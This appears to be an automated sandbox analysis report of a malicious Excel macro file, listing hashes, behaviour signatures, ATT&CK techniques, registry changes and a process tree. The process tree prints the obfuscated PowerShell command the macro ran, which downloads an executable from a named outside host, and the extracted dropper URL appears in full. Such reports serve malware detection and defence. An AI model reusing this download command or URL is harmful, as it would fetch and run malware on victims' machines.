8c30635fa8cc452d445c345ac855339c23b3845dfe9d3cc91550d17771459a0e

General

Target

New Iquiry.xlsm
Size

143KB
MD5

e815ac129a6c26ba513742fe3e834835
SHA1

0fff500ea03bbac5d9b439cd48ba386739eec351
SHA256

8c30635fa8cc452d445c345ac855339c23b3845dfe9d3cc91550d17771459a0e
SHA512

24008227c5455d7e35acb36a539964979cd63a33f1e81e7a8c51f3417dc1fdf08f5c2aa48e7ab058f96934c81acb7aba4ebd59ea738750bed66bd6bf3a39b5ce

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://hosseinsoltani.ir/BROWNOBC.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1132	1096	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

6 1608 powershell.exe
Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
6	1608	powershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1096 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1608 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1608 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

1096 EXCEL.EXE
1096 EXCEL.EXE
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1096 EXCEL.EXE
1096 EXCEL.EXE
1096 EXCEL.EXE

pid	process
1096	EXCEL.EXE

pid	process
1608	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1608	powershell.exe

pid	process
1096	EXCEL.EXE
1096	EXCEL.EXE

pid	process
1096	EXCEL.EXE
1096	EXCEL.EXE
1096	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 1096 wrote to memory of 1132	1096	EXCEL.EXE	cmd.exe
PID 1096 wrote to memory of 1132	1096	EXCEL.EXE	cmd.exe
PID 1096 wrote to memory of 1132	1096	EXCEL.EXE	cmd.exe
PID 1096 wrote to memory of 1132	1096	EXCEL.EXE	cmd.exe
PID 1132 wrote to memory of 1608	1132	cmd.exe	powershell.exe
PID 1132 wrote to memory of 1608	1132	cmd.exe	powershell.exe
PID 1132 wrote to memory of 1608	1132	cmd.exe	powershell.exe
PID 1132 wrote to memory of 1608	1132	cmd.exe	powershell.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\New Iquiry.xlsm"
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1096

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c start p^owersh^el^l -w 1 (New-Object Net.WebClient).DownloadFile('http://hosseinsoltani.ir/BROWNOBC.exe',($env:Temp)+'\yHYWC.bat')
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1132

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -w 1 (New-Object Net.WebClient).DownloadFile('http://hosseinsoltani.ir/BROWNOBC.exe',($env:Temp)+'\yHYWC.bat')
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1608

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1096-2-0x000000002FD31000-0x000000002FD34000-memory.dmp

Filesize
12KB

Download
memory/1096-3-0x0000000071461000-0x0000000071463000-memory.dmp

Filesize
8KB

Download
memory/1096-4-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1132-5-0x0000000000000000-mapping.dmp

Download
memory/1608-6-0x0000000000000000-mapping.dmp

Download
memory/1608-7-0x0000000075301000-0x0000000075303000-memory.dmp

Filesize
8KB

Download
memory/1608-8-0x000000006BDF0000-0x000000006C4DE000-memory.dmp

Filesize
6.9MB

Download
memory/1608-9-0x00000000009A0000-0x00000000009A1000-memory.dmp

Filesize
4KB

Download
memory/1608-10-0x00000000047F0000-0x00000000047F1000-memory.dmp

Filesize
4KB

Download
memory/1608-12-0x00000000025D2000-0x00000000025D3000-memory.dmp

Filesize
4KB

Download
memory/1608-11-0x00000000025D0000-0x00000000025D1000-memory.dmp

Filesize
4KB

Download
memory/1608-13-0x0000000002000000-0x0000000002001000-memory.dmp

Filesize
4KB

Download
memory/1608-14-0x00000000026E0000-0x00000000026E1000-memory.dmp

Filesize
4KB

Download
memory/1608-17-0x0000000006090000-0x0000000006091000-memory.dmp

Filesize
4KB

Download
memory/1608-19-0x000000007EF20000-0x000000007EF21000-memory.dmp

Filesize
4KB

Download
memory/1608-23-0x0000000006280000-0x0000000006281000-memory.dmp

Filesize
4KB

Download
memory/1608-24-0x0000000006320000-0x0000000006321000-memory.dmp

Filesize
4KB

Download
memory/1608-31-0x0000000006480000-0x0000000006481000-memory.dmp

Filesize
4KB

Download
memory/1608-32-0x0000000006530000-0x0000000006531000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads